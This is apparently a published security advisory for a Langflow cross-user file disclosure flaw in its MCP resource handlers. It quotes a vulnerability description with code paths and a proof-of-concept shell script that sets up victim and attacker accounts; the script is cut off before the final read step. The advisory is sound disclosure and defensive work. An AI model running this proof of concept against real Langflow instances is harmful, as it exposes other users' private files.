SA-26-715 High

Langflow: Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

Langflow

Severity
High, CVSS 7.1
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Record
CVE-2026-105699
Affects
Langflow
Known exploited
Not listed in the CISA Known Exploited Vulnerabilities catalog
Published
Record first published by the source
October 7, 2026
Source last modified
October 7, 2026

Description

Summary

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details

Verified against local checkout:

- Repository: langflow-ai/langflow - Verified on release tag: v1.8.3 - Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

1. src/backend/base/langflow/api/v1/mcp_projects.py:147-193 verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.

2. src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241 The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).

3. src/backend/base/langflow/api/v1/mcp_utils.py:163-182 handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:

   storage_service.get_file(flow_id=flow_id, file_name=filename)

No check ties the supplied flow_id back to the authenticated user or the current project.

4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

- src/backend/base/langflow/api/v1/mcp_utils.py:102-121 handle_list_resources(project_id=None) lists files for all flows. - src/backend/base/langflow/api/v1/mcp_utils.py:333-380 handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC

Preconditions:

- Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a
source .env.verify
set +a

export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"

uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn

app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

- the normal file download route is blocked for the attacker (404) - the same file is readable through the attacker's own project-scoped MCP connection

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail

export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIM_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$VICTIM_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export ATTACKER_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$ATTACKER_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export VICTIM_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"victim-project"}' | jq -r '.id'
)

export ATTACKER_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-project"}' | jq -r '.id'
)

export VICTIM_FLOW_ID=$(
  curl -sS -X POST "$BASE/api/v1/flows/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
    | jq -r '.id'
)

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOAD_JSON=$(
  curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -F "file=@/tmp/secret.txt"
)

export VICTIM_FILE=$(
  printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)

export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"

export ATTACKER_API_KEY=$(
  curl -sS -X POST "$BASE/api/v1/api_key/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)

export DIRECT_STATUS=$(
  curl -sS -o /dev/null -w [...]

Description quoted from the NVD record.

Who is affected

This affects Langflow, a tool for building apps that use AI language models. If more than one person uses the same Langflow instance, a problem in the feature that lets projects share files with outside tools can let one logged-in user read files belonging to another user, even when they are in a separate project. The earliest stable release known to have this problem is v1.6.8, and it has been confirmed through version v1.8.3. An attacker who already has a valid account could reach files they should not see. This flaw is rated High.

What to do

  1. The person who installed or runs Langflow for your organization should handle this.
  2. Update Langflow to the fixed release named in the vendor advisory linked on this page, written exactly as that advisory lists it. No fixed version is named here, so check that advisory for the correct release.
  3. If an outside IT provider or vendor runs Langflow for you, send them this advisory and ask when the update will be done.
  4. Until the update is in place, limit who holds accounts on your Langflow instance to people you trust.

Analysis written from the source record as of October 7, 2026 and reviewed before publishing.

Sources

MORE ADVISORIES

See all